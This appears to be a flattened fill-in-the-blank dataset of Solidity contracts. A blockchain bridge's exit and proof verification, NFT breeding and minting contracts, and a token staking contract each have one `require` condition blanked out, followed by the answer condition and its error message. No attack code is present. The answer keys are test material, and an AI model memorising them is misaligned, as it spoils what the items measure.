only(DEFAULT_ADMIN_ROLE) { } /** * @notice Set the state sender, callable only by admins * @dev This should be the state sender from plasma contracts * It is used to send bytes from root to child chain * @param newStateSender address of state sender contract */ function setStateSender(address newStateSender) external only(DEFAULT_ADMIN_ROLE) { } /** * @notice Get the address of contract set as state sender * @return The address of state sender contract */ function stateSenderAddress() external view returns (address) { } /** * @notice Set the checkpoint manager, callable only by admins * @dev This should be the plasma contract responsible for keeping track of checkpoints * @param newCheckpointManager address of checkpoint manager contract */ function setCheckpointManager(address newCheckpointManager) external only(DEFAULT_ADMIN_ROLE) { } /** * @notice Get the address of contract set as checkpoint manager * @return The address of checkpoint manager contract */ function checkpointManagerAddress() external view returns (address) { } /** * @notice Set the child chain manager, callable only by admins * @dev This should be the contract responsible to receive deposit bytes on child chain * @param newChildChainManager address of child chain manager contract */ function setChildChainManagerAddress(address newChildChainManager) external only(DEFAULT_ADMIN_ROLE) { } /** * @notice Register a token predicate address against its type, callable only by mappers * @dev A predicate is a contract responsible to process the token specific logic while locking or exiting tokens * @param tokenType bytes32 unique identifier for the token type * @param predicateAddress address of token predicate address */ function registerPredicate(bytes32 tokenType, address predicateAddress) external override only(MAPPER_ROLE) { } /** * @notice Map a token to enable its movement via the PoS Portal, callable only by mappers * @param rootToken address of token on root chain * @param childToken address of token on child chain * @param tokenType bytes32 unique identifier for the token type */ function mapToken( address rootToken, address childToken, bytes32 tokenType ) external override only(MAPPER_ROLE) { } /** * @notice Move ether from root to child chain, accepts ether transfer * Keep in mind this ether cannot be used to pay gas on child chain * Use Matic tokens deposited using plasma mechanism for that * @param user address of account that should receive WETH on child chain */ function depositEtherFor(address user) external override payable { } /** * @notice Move tokens from root to child chain * @dev This mechanism supports arbitrary tokens as long as its predicate has been registered and the token is mapped * @param user address of account that should receive this deposit on child chain * @param rootToken address of token that is being deposited * @param depositData bytes data that is sent to predicate and child token contracts to handle deposit */ function depositFor( address user, address rootToken, bytes calldata depositData ) external override { } function _depositEtherFor(address user) private { } function _depositFor( address user, address rootToken, bytes memory depositData ) private { } /** * @notice exit tokens by providing proof * @dev This function verifies if the transaction actually happened on child chain * the transaction log is then sent to token predicate to handle it accordingly * * @param inputData RLP encoded data of the reference tx containing following list of fields * 0 - headerNumber - Checkpoint header block number containing the reference tx * 1 - blockProof - Proof that the block header (in the child chain) is a leaf in the submitted merkle root * 2 - blockNumber - Block number containing the reference tx on child chain * 3 - blockTime - Reference tx block time * 4 - txRoot - Transactions root of block * 5 - receiptRoot - Receipts root of block * 6 - receipt - Receipt of the reference transaction * 7 - receiptProof - Merkle proof of the reference receipt * 8 - branchMask - 32 bits denoting the path of receipt in merkle tree * 9 - receiptLogIndex - Log Index to read from the receipt */ function exit(bytes calldata inputData) external override { RLPReader.RLPItem[] memory inputDataRLPList = inputData .toRlpItem() .toList(); // checking if exit has already been processed // unique exit is identified using hash of (blockNumber, branchMask, receiptLogIndex) bytes32 exitHash = keccak256( abi.encodePacked( inputDataRLPList[2].toUint(), // blockNumber // first 2 nibbles are dropped while generating nibble array // this allows branch masks that are valid but bypass exitHash check (changing first 2 nibbles only) // so converting to nibble array and then hashing it MerklePatriciaProof._getNibbleArray(inputDataRLPList[8].toBytes()), // branchMask inputDataRLPList[9].toUint() // receiptLogIndex ) ); require( processedExits[exitHash] == false, "RootChainManager: EXIT_ALREADY_PROCESSED" ); processedExits[exitHash] = true; RLPReader.RLPItem[] memory receiptRLPList = inputDataRLPList[6] .toBytes() .toRlpItem() .toList(); RLPReader.RLPItem memory logRLP = receiptRLPList[3] .toList()[ inputDataRLPList[9].toUint() // receiptLogIndex ]; address childToken = RLPReader.toAddress(logRLP.toList()[0]); // log emitter address field // log should be emmited only by the child token address rootToken = childToRootToken[childToken]; require( rootToken != address(0), "RootChainManager: TOKEN_NOT_MAPPED" ); address predicateAddress = typeToPredicate[ tokenToType[rootToken] ]; // branch mask can be maximum 32 bits require(<FILL_ME>) // verify receipt inclusion require( MerklePatriciaProof.verify( inputDataRLPList[6].toBytes(), // receipt inputDataRLPList[8].toBytes(), // branchMask inputDataRLPList[7].toBytes(), // receiptProof bytes32(inputDataRLPList[5].toUint()) // receiptRoot ), "RootChainManager: INVALID_PROOF" ); // verify checkpoint inclusion _checkBlockMembershipInCheckpoint( inputDataRLPList[2].toUint(), // blockNumber inputDataRLPList[3].toUint(), // blockTime bytes32(inputDataRLPList[4].toUint()), // txRoot bytes32(inputDataRLPList[5].toUint()), // receiptRoot inputDataRLPList[0].toUint(), // headerNumber inputDataRLPList[1].toBytes() // blockProof ); ITokenPredicate(predicateAddress).exitTokens( _msgSender(), childToRootToken[childToken], logRLP.toRlpBytes() ); } function _checkBlockMembershipInCheckpoint( uint256 blockNumber, uint256 blockTime, bytes32 txRoot, bytes32 receiptRoot, uint256 headerNumber, bytes memory blockProof ) private view returns (uint256) { } }
inputDataRLPList[8].toUint()&0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF00000000==0,"RootChainManager: INVALID_BRANCH_MASK"
372,002
inputDataRLPList[8].toUint()&0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF00000000==0
"RootChainManager: INVALID_PROOF"
pragma solidity 0.6.6; contract RootChainManager is IRootChainManager, Initializable, AccessControl, // included to match old storage layout while upgrading RootChainManagerStorage, // created to match old storage layout while upgrading AccessControlMixin, NativeMetaTransaction, ChainConstants, ContextMixin { using RLPReader for bytes; using RLPReader for RLPReader.RLPItem; using Merkle for bytes32; using SafeMath for uint256; // maybe DEPOSIT and MAP_TOKEN can be reduced to bytes4 bytes32 public constant DEPOSIT = keccak256("DEPOSIT"); bytes32 public constant MAP_TOKEN = keccak256("MAP_TOKEN"); address public constant ETHER_ADDRESS = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; bytes32 public constant MAPPER_ROLE = keccak256("MAPPER_ROLE"); function _msgSender() internal override view returns (address payable sender) { } /** * @notice Deposit ether by directly sending to the contract * The account sending ether receives WETH on child chain */ receive() external payable { } /** * @notice Initialize the contract after it has been proxified * @dev meant to be called once immediately after deployment * @param _owner the account that should be granted admin role */ function initialize( address _owner ) external initializer { } // adding seperate function setupContractId since initialize is already called with old implementation function setupContractId() external only(DEFAULT_ADMIN_ROLE) { } // adding seperate function initializeEIP712 since initialize is already called with old implementation function initializeEIP712() external only(DEFAULT_ADMIN_ROLE) { } /** * @notice Set the state sender, callable only by admins * @dev This should be the state sender from plasma contracts * It is used to send bytes from root to child chain * @param newStateSender address of state sender contract */ function setStateSender(address newStateSender) external only(DEFAULT_ADMIN_ROLE) { } /** * @notice Get the address of contract set as state sender * @return The address of state sender contract */ function stateSenderAddress() external view returns (address) { } /** * @notice Set the checkpoint manager, callable only by admins * @dev This should be the plasma contract responsible for keeping track of checkpoints * @param newCheckpointManager address of checkpoint manager contract */ function setCheckpointManager(address newCheckpointManager) external only(DEFAULT_ADMIN_ROLE) { } /** * @notice Get the address of contract set as checkpoint manager * @return The address of checkpoint manager contract */ function checkpointManagerAddress() external view returns (address) { } /** * @notice Set the child chain manager, callable only by admins * @dev This should be the contract responsible to receive deposit bytes on child chain * @param newChildChainManager address of child chain manager contract */ function setChildChainManagerAddress(address newChildChainManager) external only(DEFAULT_ADMIN_ROLE) { } /** * @notice Register a token predicate address against its type, callable only by mappers * @dev A predicate is a contract responsible to process the token specific logic while locking or exiting tokens * @param tokenType bytes32 unique identifier for the token type * @param predicateAddress address of token predicate address */ function registerPredicate(bytes32 tokenType, address predicateAddress) external override only(MAPPER_ROLE) { } /** * @notice Map a token to enable its movement via the PoS Portal, callable only by mappers * @param rootToken address of token on root chain * @param childToken address of token on child chain * @param tokenType bytes32 unique identifier for the token type */ function mapToken( address rootToken, address childToken, bytes32 tokenType ) external override only(MAPPER_ROLE) { } /** * @notice Move ether from root to child chain, accepts ether transfer * Keep in mind this ether cannot be used to pay gas on child chain * Use Matic tokens deposited using plasma mechanism for that * @param user address of account that should receive WETH on child chain */ function depositEtherFor(address user) external override payable { } /** * @notice Move tokens from root to child chain * @dev This mechanism supports arbitrary tokens as long as its predicate has been registered and the token is mapped * @param user address of account that should receive this deposit on child chain * @param rootToken address of token that is being deposited * @param depositData bytes data that is sent to predicate and child token contracts to handle deposit */ function depositFor( address user, address rootToken, bytes calldata depositData ) external override { } function _depositEtherFor(address user) private { } function _depositFor( address user, address rootToken, bytes memory depositData ) private { } /** * @notice exit tokens by providing proof * @dev This function verifies if the transaction actually happened on child chain * the transaction log is then sent to token predicate to handle it accordingly * * @param inputData RLP encoded data of the reference tx containing following list of fields * 0 - headerNumber - Checkpoint header block number containing the reference tx * 1 - blockProof - Proof that the block header (in the child chain) is a leaf in the submitted merkle root * 2 - blockNumber - Block number containing the reference tx on child chain * 3 - blockTime - Reference tx block time * 4 - txRoot - Transactions root of block * 5 - receiptRoot - Receipts root of block * 6 - receipt - Receipt of the reference transaction * 7 - receiptProof - Merkle proof of the reference receipt * 8 - branchMask - 32 bits denoting the path of receipt in merkle tree * 9 - receiptLogIndex - Log Index to read from the receipt */ function exit(bytes calldata inputData) external override { RLPReader.RLPItem[] memory inputDataRLPList = inputData .toRlpItem() .toList(); // checking if exit has already been processed // unique exit is identified using hash of (blockNumber, branchMask, receiptLogIndex) bytes32 exitHash = keccak256( abi.encodePacked( inputDataRLPList[2].toUint(), // blockNumber // first 2 nibbles are dropped while generating nibble array // this allows branch masks that are valid but bypass exitHash check (changing first 2 nibbles only) // so converting to nibble array and then hashing it MerklePatriciaProof._getNibbleArray(inputDataRLPList[8].toBytes()), // branchMask inputDataRLPList[9].toUint() // receiptLogIndex ) ); require( processedExits[exitHash] == false, "RootChainManager: EXIT_ALREADY_PROCESSED" ); processedExits[exitHash] = true; RLPReader.RLPItem[] memory receiptRLPList = inputDataRLPList[6] .toBytes() .toRlpItem() .toList(); RLPReader.RLPItem memory logRLP = receiptRLPList[3] .toList()[ inputDataRLPList[9].toUint() // receiptLogIndex ]; address childToken = RLPReader.toAddress(logRLP.toList()[0]); // log emitter address field // log should be emmited only by the child token address rootToken = childToRootToken[childToken]; require( rootToken != address(0), "RootChainManager: TOKEN_NOT_MAPPED" ); address predicateAddress = typeToPredicate[ tokenToType[rootToken] ]; // branch mask can be maximum 32 bits require( inputDataRLPList[8].toUint() & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF00000000 == 0, "RootChainManager: INVALID_BRANCH_MASK" ); // verify receipt inclusion require(<FILL_ME>) // verify checkpoint inclusion _checkBlockMembershipInCheckpoint( inputDataRLPList[2].toUint(), // blockNumber inputDataRLPList[3].toUint(), // blockTime bytes32(inputDataRLPList[4].toUint()), // txRoot bytes32(inputDataRLPList[5].toUint()), // receiptRoot inputDataRLPList[0].toUint(), // headerNumber inputDataRLPList[1].toBytes() // blockProof ); ITokenPredicate(predicateAddress).exitTokens( _msgSender(), childToRootToken[childToken], logRLP.toRlpBytes() ); } function _checkBlockMembershipInCheckpoint( uint256 blockNumber, uint256 blockTime, bytes32 txRoot, bytes32 receiptRoot, uint256 headerNumber, bytes memory blockProof ) private view returns (uint256) { } }
MerklePatriciaProof.verify(inputDataRLPList[6].toBytes(),inputDataRLPList[8].toBytes(),inputDataRLPList[7].toBytes(),bytes32(inputDataRLPList[5].toUint())),"RootChainManager: INVALID_PROOF"
372,002
MerklePatriciaProof.verify(inputDataRLPList[6].toBytes(),inputDataRLPList[8].toBytes(),inputDataRLPList[7].toBytes(),bytes32(inputDataRLPList[5].toUint()))
"RootChainManager: INVALID_HEADER"
pragma solidity 0.6.6; contract RootChainManager is IRootChainManager, Initializable, AccessControl, // included to match old storage layout while upgrading RootChainManagerStorage, // created to match old storage layout while upgrading AccessControlMixin, NativeMetaTransaction, ChainConstants, ContextMixin { using RLPReader for bytes; using RLPReader for RLPReader.RLPItem; using Merkle for bytes32; using SafeMath for uint256; // maybe DEPOSIT and MAP_TOKEN can be reduced to bytes4 bytes32 public constant DEPOSIT = keccak256("DEPOSIT"); bytes32 public constant MAP_TOKEN = keccak256("MAP_TOKEN"); address public constant ETHER_ADDRESS = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; bytes32 public constant MAPPER_ROLE = keccak256("MAPPER_ROLE"); function _msgSender() internal override view returns (address payable sender) { } /** * @notice Deposit ether by directly sending to the contract * The account sending ether receives WETH on child chain */ receive() external payable { } /** * @notice Initialize the contract after it has been proxified * @dev meant to be called once immediately after deployment * @param _owner the account that should be granted admin role */ function initialize( address _owner ) external initializer { } // adding seperate function setupContractId since initialize is already called with old implementation function setupContractId() external only(DEFAULT_ADMIN_ROLE) { } // adding seperate function initializeEIP712 since initialize is already called with old implementation function initializeEIP712() external only(DEFAULT_ADMIN_ROLE) { } /** * @notice Set the state sender, callable only by admins * @dev This should be the state sender from plasma contracts * It is used to send bytes from root to child chain * @param newStateSender address of state sender contract */ function setStateSender(address newStateSender) external only(DEFAULT_ADMIN_ROLE) { } /** * @notice Get the address of contract set as state sender * @return The address of state sender contract */ function stateSenderAddress() external view returns (address) { } /** * @notice Set the checkpoint manager, callable only by admins * @dev This should be the plasma contract responsible for keeping track of checkpoints * @param newCheckpointManager address of checkpoint manager contract */ function setCheckpointManager(address newCheckpointManager) external only(DEFAULT_ADMIN_ROLE) { } /** * @notice Get the address of contract set as checkpoint manager * @return The address of checkpoint manager contract */ function checkpointManagerAddress() external view returns (address) { } /** * @notice Set the child chain manager, callable only by admins * @dev This should be the contract responsible to receive deposit bytes on child chain * @param newChildChainManager address of child chain manager contract */ function setChildChainManagerAddress(address newChildChainManager) external only(DEFAULT_ADMIN_ROLE) { } /** * @notice Register a token predicate address against its type, callable only by mappers * @dev A predicate is a contract responsible to process the token specific logic while locking or exiting tokens * @param tokenType bytes32 unique identifier for the token type * @param predicateAddress address of token predicate address */ function registerPredicate(bytes32 tokenType, address predicateAddress) external override only(MAPPER_ROLE) { } /** * @notice Map a token to enable its movement via the PoS Portal, callable only by mappers * @param rootToken address of token on root chain * @param childToken address of token on child chain * @param tokenType bytes32 unique identifier for the token type */ function mapToken( address rootToken, address childToken, bytes32 tokenType ) external override only(MAPPER_ROLE) { } /** * @notice Move ether from root to child chain, accepts ether transfer * Keep in mind this ether cannot be used to pay gas on child chain * Use Matic tokens deposited using plasma mechanism for that * @param user address of account that should receive WETH on child chain */ function depositEtherFor(address user) external override payable { } /** * @notice Move tokens from root to child chain * @dev This mechanism supports arbitrary tokens as long as its predicate has been registered and the token is mapped * @param user address of account that should receive this deposit on child chain * @param rootToken address of token that is being deposited * @param depositData bytes data that is sent to predicate and child token contracts to handle deposit */ function depositFor( address user, address rootToken, bytes calldata depositData ) external override { } function _depositEtherFor(address user) private { } function _depositFor( address user, address rootToken, bytes memory depositData ) private { } /** * @notice exit tokens by providing proof * @dev This function verifies if the transaction actually happened on child chain * the transaction log is then sent to token predicate to handle it accordingly * * @param inputData RLP encoded data of the reference tx containing following list of fields * 0 - headerNumber - Checkpoint header block number containing the reference tx * 1 - blockProof - Proof that the block header (in the child chain) is a leaf in the submitted merkle root * 2 - blockNumber - Block number containing the reference tx on child chain * 3 - blockTime - Reference tx block time * 4 - txRoot - Transactions root of block * 5 - receiptRoot - Receipts root of block * 6 - receipt - Receipt of the reference transaction * 7 - receiptProof - Merkle proof of the reference receipt * 8 - branchMask - 32 bits denoting the path of receipt in merkle tree * 9 - receiptLogIndex - Log Index to read from the receipt */ function exit(bytes calldata inputData) external override { } function _checkBlockMembershipInCheckpoint( uint256 blockNumber, uint256 blockTime, bytes32 txRoot, bytes32 receiptRoot, uint256 headerNumber, bytes memory blockProof ) private view returns (uint256) { ( bytes32 headerRoot, uint256 startBlock, , uint256 createdAt, ) = _checkpointManager.headerBlocks(headerNumber); require(<FILL_ME>) return createdAt; } }
keccak256(abi.encodePacked(blockNumber,blockTime,txRoot,receiptRoot)).checkMembership(blockNumber.sub(startBlock),headerRoot,blockProof),"RootChainManager: INVALID_HEADER"
372,002
keccak256(abi.encodePacked(blockNumber,blockTime,txRoot,receiptRoot)).checkMembership(blockNumber.sub(startBlock),headerRoot,blockProof)
"Camel has already mated this season"
// SPDX-License-Identifier: None pragma solidity ^0.8.4; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/utils/math/SafeMath.sol"; import "@openzeppelin/contracts/token/ERC721/ERC721.sol"; import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol"; import "./INmbBreeder.sol"; struct Parents { uint256 parent1; uint256 parent2; } contract BabyCamels is Ownable, ERC721Enumerable, INmbBreeder { using SafeMath for uint256; bool public breedingActive = false; mapping(uint256 => uint256) private _parentToBabyCamel; mapping(uint256 => Parents) private _babyCamelToParents; IERC721 private ArabianCamelsContract; string public baseURI; constructor(address camelsContractAddress) ERC721("Baby Camels Season 1", "BC1") { } function toggleBreedingActive() external onlyOwner { } function breed(uint256 parentTokenId1, uint256 parentTokenId2) public { require(breedingActive, "Breeding season is not active"); require(msg.sender == ArabianCamelsContract.ownerOf(parentTokenId1) && msg.sender == ArabianCamelsContract.ownerOf(parentTokenId2), "Must own both camels to breed"); require(<FILL_ME>) _breed(parentTokenId1, parentTokenId2); } function _breed(uint256 parentTokenId1, uint256 parentTokenId2) private { } function _baseURI() internal view override returns (string memory) { } function setBaseURI(string memory newBaseURI) external onlyOwner { } function getWalletOf(address wallet) external view returns(uint256[] memory) { } function getHasMated( address parentTokenContractAddress, uint256[] memory tokenIds ) external view override returns(bool[] memory) { } function getChildOf(address parentTokenContractAddress, uint256 tokenId) external view override returns (uint256) { } function getParentsOf(uint256 tokenId) external view override returns (address, uint256, address, uint256) { } }
_parentToBabyCamel[parentTokenId1]==0&&_parentToBabyCamel[parentTokenId2]==0,"Camel has already mated this season"
372,115
_parentToBabyCamel[parentTokenId1]==0&&_parentToBabyCamel[parentTokenId2]==0
"Incorrect Ether value."
pragma solidity ^0.8.0; contract Gravel is ERC721Enumerable, Ownable { uint256 public constant MAX_NFT_SUPPLY = 2500; uint public constant MAX_PURCHASABLE = 30; uint256 public GRAVEL_PRICE = 30000000000000000; // 0.03 ETH string public PROVENANCE_HASH = ""; bool public saleStarted = false; constructor() ERC721("Gravel", "GRAVEL") { } function _baseURI() internal view virtual override returns (string memory) { } function getTokenURI(uint256 tokenId) public view returns (string memory) { } function mint(uint256 amountToMint) public payable { require(saleStarted == true, "This sale has not started."); require(totalSupply() < MAX_NFT_SUPPLY, "All NFTs have been minted."); require(amountToMint > 0, "You must mint at least one Gravel."); require(amountToMint <= MAX_PURCHASABLE, "You cannot mint more than 30 Gravel."); require(totalSupply() + amountToMint <= MAX_NFT_SUPPLY, "The amount of Gravel you are trying to mint exceeds the MAX_NFT_SUPPLY."); require(<FILL_ME>) for (uint256 i = 0; i < amountToMint; i++) { uint256 mintIndex = totalSupply(); _safeMint(msg.sender, mintIndex); } } function startSale() public onlyOwner { } function pauseSale() public onlyOwner { } function setProvenanceHash(string memory _hash) public onlyOwner { } function withdraw() public payable onlyOwner { } }
GRAVEL_PRICE*amountToMint==msg.value,"Incorrect Ether value."
372,164
GRAVEL_PRICE*amountToMint==msg.value
null
pragma solidity ^0.6.0; // SPDX-License-Identifier: UNLICENSED /** * @title SafeMath * @dev Math operations with safety checks that throw on error * */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { } function div(uint256 a, uint256 b) internal pure returns (uint256) { } function sub(uint256 a, uint256 b) internal pure returns (uint256) { } function add(uint256 a, uint256 b) internal pure returns (uint256) { } function ceil(uint a, uint m) internal pure returns (uint r) { } } // ---------------------------------------------------------------------------- // ERC Token Standard #20 Interface // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // ---------------------------------------------------------------------------- abstract contract ERC20Interface { function totalSupply() public virtual view returns (uint); function balanceOf(address tokenOwner) public virtual view returns (uint256 balance); function allowance(address tokenOwner, address spender) public virtual view returns (uint256 remaining); function transfer(address to, uint256 tokens) public virtual returns (bool success); function approve(address spender, uint256 tokens) public virtual returns (bool success); function transferFrom(address from, address to, uint256 tokens) public virtual returns (bool success); event Transfer(address indexed from, address indexed to, uint256 tokens); event Approval(address indexed tokenOwner, address indexed spender, uint256 tokens); } // ---------------------------------------------------------------------------- // 'Ultra Token' token contract // Symbol : ULTRA // Name : Ultra Token // Total supply: 10,000,000 (10 Million) // Decimals : 18 // ---------------------------------------------------------------------------- // ---------------------------------------------------------------------------- // ERC20 Token, with the addition of symbol, name and decimals and assisted // token transfers // ---------------------------------------------------------------------------- contract Token is ERC20Interface { using SafeMath for uint256; string public symbol = "ULTRA"; string public name = "Ultra Token"; uint256 public decimals = 18; uint256 _totalSupply = 10e6 * 10 ** (decimals); uint256 deployTime; uint256 private totalDividentPoints; uint256 private unclaimedDividendPoints; uint256 pointMultiplier = 1000000000000000000; uint256 public stakedCoins; uint256 private rewardCoins; address marketingAdd = 0xec5Af8C0775A2599c7726d50824FC01b3d279023; address preSaleAdd = 0x70Fc9e16650F5A30fbf7041c161D49E93a7cb617; address teamAdd = 0x6089F0a52a0DBD55906DA7CeEDA052aa0B76f6A0; address uniSwapAddress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; uint256 public totalStakes; uint256 public teamLockedTokens; uint256 public totalRewardsClaimed; struct Account { uint256 balance; uint256 lastDividentPoints; uint256 timeInvest; uint256 lastClaimed; bool claimLimit; uint256 rewardsClaimed; uint256 totalStakes; } mapping(address => Account) accounts; mapping(address => bool) isInvertor; mapping(address => uint256) balances; mapping(address => mapping(address => uint256)) allowed; // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ constructor() public { } function STAKE(uint256 _tokens) external returns(bool){ } function perDayShare(address investor) internal returns(uint256){ } function _perDayShare(address investor) private view returns(uint256){ } function pendingReward(address _user) external view returns(uint256){ } function updateDividend(address investor) internal returns(uint256){ } function activeStake(address _user) external view returns (uint256){ } function totalStakesTillToday(address _user) external view returns (uint256){ } function UNSTAKE() external returns (bool){ require(isInvertor[msg.sender] == true, "Sorry!, Not investor"); require(stakedCoins > 0); stakedCoins = stakedCoins.sub(accounts[msg.sender].balance); uint256 owing = updateDividend(msg.sender); uint256 reward = perDayShare(msg.sender); if (reward > rewardCoins){ reward = rewardCoins; } require(<FILL_ME>) rewardCoins = rewardCoins.sub(reward); isInvertor[msg.sender] = false; accounts[msg.sender].balance = 0; return true; } function disburse(uint256 amount) internal{ } function dividendsOwing(address investor) internal view returns (uint256){ } function claimReward() external returns(bool){ } function roiAllClaimed(address _user) external view returns(bool roiClaimed){ } function rewardsClaimed(address _user) external view returns(uint256 rewardClaimed){ } /** ERC20Interface function's implementation **/ function totalSupply() public override view returns (uint256){ } // ------------------------------------------------------------------------ // Calculates onePercent of the uint256 amount sent // ------------------------------------------------------------------------ function onePercent(uint256 _tokens) internal pure returns (uint256){ } // ------------------------------------------------------------------------ // Get the token balance for account `tokenOwner` // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public override view returns (uint256 balance) { } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to `to` account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint256 tokens) public override returns (bool success) { } // ------------------------------------------------------------------------ // Token owner can approve for `spender` to transferFrom(...) `tokens` // from the token owner's account // ------------------------------------------------------------------------ function approve(address spender, uint256 tokens) public override returns (bool success){ } // ------------------------------------------------------------------------ // Transfer `tokens` from the `from` account to the `to` account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the `from` account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint256 tokens) public override returns (bool success){ } function _transfer(address to, uint256 tokens) internal returns(bool){ } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public override view returns (uint256 remaining) { } // ------------------------------------------------------------------------ // Burn the ``value` amount of tokens from the `account` // ------------------------------------------------------------------------ function burnTokens(uint256 value) internal{ } }
_transfer(msg.sender,owing.add(reward).add(accounts[msg.sender].balance))
372,246
_transfer(msg.sender,owing.add(reward).add(accounts[msg.sender].balance))
null
pragma solidity ^0.6.0; // SPDX-License-Identifier: UNLICENSED /** * @title SafeMath * @dev Math operations with safety checks that throw on error * */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { } function div(uint256 a, uint256 b) internal pure returns (uint256) { } function sub(uint256 a, uint256 b) internal pure returns (uint256) { } function add(uint256 a, uint256 b) internal pure returns (uint256) { } function ceil(uint a, uint m) internal pure returns (uint r) { } } // ---------------------------------------------------------------------------- // ERC Token Standard #20 Interface // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // ---------------------------------------------------------------------------- abstract contract ERC20Interface { function totalSupply() public virtual view returns (uint); function balanceOf(address tokenOwner) public virtual view returns (uint256 balance); function allowance(address tokenOwner, address spender) public virtual view returns (uint256 remaining); function transfer(address to, uint256 tokens) public virtual returns (bool success); function approve(address spender, uint256 tokens) public virtual returns (bool success); function transferFrom(address from, address to, uint256 tokens) public virtual returns (bool success); event Transfer(address indexed from, address indexed to, uint256 tokens); event Approval(address indexed tokenOwner, address indexed spender, uint256 tokens); } // ---------------------------------------------------------------------------- // 'Ultra Token' token contract // Symbol : ULTRA // Name : Ultra Token // Total supply: 10,000,000 (10 Million) // Decimals : 18 // ---------------------------------------------------------------------------- // ---------------------------------------------------------------------------- // ERC20 Token, with the addition of symbol, name and decimals and assisted // token transfers // ---------------------------------------------------------------------------- contract Token is ERC20Interface { using SafeMath for uint256; string public symbol = "ULTRA"; string public name = "Ultra Token"; uint256 public decimals = 18; uint256 _totalSupply = 10e6 * 10 ** (decimals); uint256 deployTime; uint256 private totalDividentPoints; uint256 private unclaimedDividendPoints; uint256 pointMultiplier = 1000000000000000000; uint256 public stakedCoins; uint256 private rewardCoins; address marketingAdd = 0xec5Af8C0775A2599c7726d50824FC01b3d279023; address preSaleAdd = 0x70Fc9e16650F5A30fbf7041c161D49E93a7cb617; address teamAdd = 0x6089F0a52a0DBD55906DA7CeEDA052aa0B76f6A0; address uniSwapAddress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; uint256 public totalStakes; uint256 public teamLockedTokens; uint256 public totalRewardsClaimed; struct Account { uint256 balance; uint256 lastDividentPoints; uint256 timeInvest; uint256 lastClaimed; bool claimLimit; uint256 rewardsClaimed; uint256 totalStakes; } mapping(address => Account) accounts; mapping(address => bool) isInvertor; mapping(address => uint256) balances; mapping(address => mapping(address => uint256)) allowed; // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ constructor() public { } function STAKE(uint256 _tokens) external returns(bool){ } function perDayShare(address investor) internal returns(uint256){ } function _perDayShare(address investor) private view returns(uint256){ } function pendingReward(address _user) external view returns(uint256){ } function updateDividend(address investor) internal returns(uint256){ } function activeStake(address _user) external view returns (uint256){ } function totalStakesTillToday(address _user) external view returns (uint256){ } function UNSTAKE() external returns (bool){ } function disburse(uint256 amount) internal{ } function dividendsOwing(address investor) internal view returns (uint256){ } function claimReward() external returns(bool){ require(isInvertor[msg.sender] == true, "Sorry!, Not an investor"); require(accounts[msg.sender].balance > 0); uint256 owing = updateDividend(msg.sender); uint256 reward = perDayShare(msg.sender); if (reward > rewardCoins){ reward = rewardCoins; } require(<FILL_ME>) accounts[msg.sender].rewardsClaimed = accounts[msg.sender].rewardsClaimed.add(owing.add(reward)); rewardCoins = rewardCoins.sub(reward); totalRewardsClaimed = totalRewardsClaimed.add(owing.add(reward)); return true; } function roiAllClaimed(address _user) external view returns(bool roiClaimed){ } function rewardsClaimed(address _user) external view returns(uint256 rewardClaimed){ } /** ERC20Interface function's implementation **/ function totalSupply() public override view returns (uint256){ } // ------------------------------------------------------------------------ // Calculates onePercent of the uint256 amount sent // ------------------------------------------------------------------------ function onePercent(uint256 _tokens) internal pure returns (uint256){ } // ------------------------------------------------------------------------ // Get the token balance for account `tokenOwner` // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public override view returns (uint256 balance) { } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to `to` account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint256 tokens) public override returns (bool success) { } // ------------------------------------------------------------------------ // Token owner can approve for `spender` to transferFrom(...) `tokens` // from the token owner's account // ------------------------------------------------------------------------ function approve(address spender, uint256 tokens) public override returns (bool success){ } // ------------------------------------------------------------------------ // Transfer `tokens` from the `from` account to the `to` account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the `from` account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint256 tokens) public override returns (bool success){ } function _transfer(address to, uint256 tokens) internal returns(bool){ } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public override view returns (uint256 remaining) { } // ------------------------------------------------------------------------ // Burn the ``value` amount of tokens from the `account` // ------------------------------------------------------------------------ function burnTokens(uint256 value) internal{ } }
_transfer(msg.sender,owing.add(reward))
372,246
_transfer(msg.sender,owing.add(reward))
"tokens are locked for 8 weeks"
